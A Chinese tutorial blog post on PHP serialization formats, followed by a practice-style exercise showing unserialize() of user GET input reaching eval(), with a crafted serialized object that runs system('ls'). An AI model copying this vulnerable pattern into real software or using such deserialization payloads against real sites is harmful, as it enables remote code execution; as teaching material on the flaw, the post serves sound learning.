PHP序列化基础知识储备

一、序列化与反序列化

1、概念

PHP中的序列化是指将复杂的数据类型转换为可存储或可传输的字符串,而反序列化则是将这些字符串重新转换回原来的数据类型。

序列化通常使用 serialize() 函数完成,它可以将数组、对象、字符串等复杂数据类型压缩到一个字符串中,这个过程不会影响到数据的类型和结构。序列化主要用于将数据保存到文件、数据库或者通过网络发送时,保证数据的完整性和结构的不变性。需要注意的是,序列化一个对象时会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。

反序列化则使用 unserialize() 函数,它将序列化后的字符串还原为原始的数据类型。这常用于从存储介质如文件或数据库中读取数据时,确保数据可以被正确地重构为原始状态。

总的来说,这两个过程结合起来,可以轻松地在不同的运行环境中存储和传输数据,提高程序的可维护性和灵活性。


2、对象序列化演示

(1)公有修饰符:
<?php
highlight_file(__FILE__);
class test{
    public $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?> 

通过代码易知,最终将输出类test的实例化对象$a的序列化格式,输出结果如下:

O:4:"test":1:{s:3:"pub";s:6:"benben";}

我们对序列化内容格式进行具体分析:

O -- 表示“Object”,在面向对象编程中译作“对象”。

4 -- 表示类名的长度,通过代码易知类 test 的长度为4。

1 -- 表示类中只有一个属性 $pub。

{} -- 对类中的内容进行分析,但只会分析类中的属性,不会分析类中的方法。

s -- 表示“string”,string表示字符串,表示类中属性$pub的名称是字符串。

3 -- 表示类中属性$pub的长度为3。

"pub" -- 表示类中属性$pub的名称。

;-- 起到间隔作用。

s : 6 : "benben" -- 表示类中属性的值为一个字符串,字符串的长度为6,字符串的名称为 benben。

(2)私有修饰符:
<?php
highlight_file(__FILE__);
class test{
    private $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?> 

我们观察到类中属性由 public 变成了 private,那么序列化内容会如何改变,改变后的序列化内容如下:

O:4:"test":1:{s:9:"testpub";s:6:"benben";}

我们观察到序列化内容发生了一些变化,其中属性名称变成了 testpub,这里涉及一个知识点,当属性由共有变成私有之后,属性名称会变为 类名 + 属性名称,但是我们又发现,属性长度为9,而testpub的长度仅仅为7,那么多出来的2个字符串长度由何而来呢?

特别说明:私有属性中多出的两个字符串长度:

私有属性中,长度为9的testpub其实在test的首尾拥有两个空格位,分别各占取一个字符串长度,testpub真实情况下应该写作 %00test%00pub,多出的两个字符串长度就是这两个%00。

(3)保护修饰符:

<?php
highlight_file(__FILE__);
class test{
    protected $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?> 

类中属性由共有变为保护属性,序列化输出结果如下:

O:4:"test":1:{s:6:"*pub";s:6:"benben";}

我们发现属性名称和长度再次发生了变化,名称pub前多出一个*,并且名称长度也与实际观察到的长度不符合,多出了两个字符串长度。

特别说明:保护属性中多出的两个字符串长度:

实际保护属性名称为:空格 + * + 空格 + 属性名称。

URL编码为:%00 + * + %00 + 属性名称。

(4)成员属性调用对象:
<?php
highlight_file(__FILE__);
class test{
    var $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
    var $ben;
    function __construct(){
        $this->ben=new test();
    }
}
$a = new test2();
echo serialize($a);
?>

上述代码将实例化对象赋值给成员属性,并将其以序列化格式输出。输出结果如下:

O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

与将一个字符串赋值给成员属性的格式并无不同,唯一不同点是内容变成了一个类罢了。


3、对象反序列化演示

<?php
highlight_file(__FILE__);
class test {
    public  $a = 'benben';
    protected  $b = 666;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = new test();
$d = serialize($d);
echo $d."<br />";
echo urlencode($d)."<br />";
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);

?> 

输出代码如下:

(1)O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
序列化格式输出

(2)O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
序列化URL编码格式输出

(3)object(test)#1 (3) { ["a"]=> string(6) "benben" ["b":protected]=> int(666) ["c":"test":private]=> bool(false) }
将序列化格式反序列化后输出(以反序列化格式输出) 

(3)即为反序列化格式输出,本质就是将序列化过的内容进行还原。


二、PHP反序列化例题演示

1、题目源代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?> 

通过分析源代码可知,test类中存在eval()函数,我们只需要利用eval()函数括号中的代码,来执行我们想要达到目的的指令。

我们已知eval()括号中的值为属性a的值,我们只需要将我们想要执行的指令赋值给 $a 就可以了。

那么如何将我们想要执行的命令赋值给 $呢?我们可以利用反序列化,分析代码可知,首先将用户输入值赋值给"benben"后通过GET方法发送给客户端并且赋值给$get,对$get进行反序列化后将反序列化后的值赋值给$b,最后调用$b中的displayVar()函数,就可以达到将输入值赋值给$a的目的,我们只需要将指令写在benben中即可。

2、构造序列化代码:

<?php
    class test{
        public $a = '';
    } 
    $b = new test();
    $b->a = "system('ls');";
    echo serialize($b);
?>

输出结果如下:

O:4:"test":1:{s:1:"a";s:13:"system('ls');";}

将输出结果提交给GET["benben"],如下图:

提交后页面如下:

id值成功在页面中显示。

  • 5
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值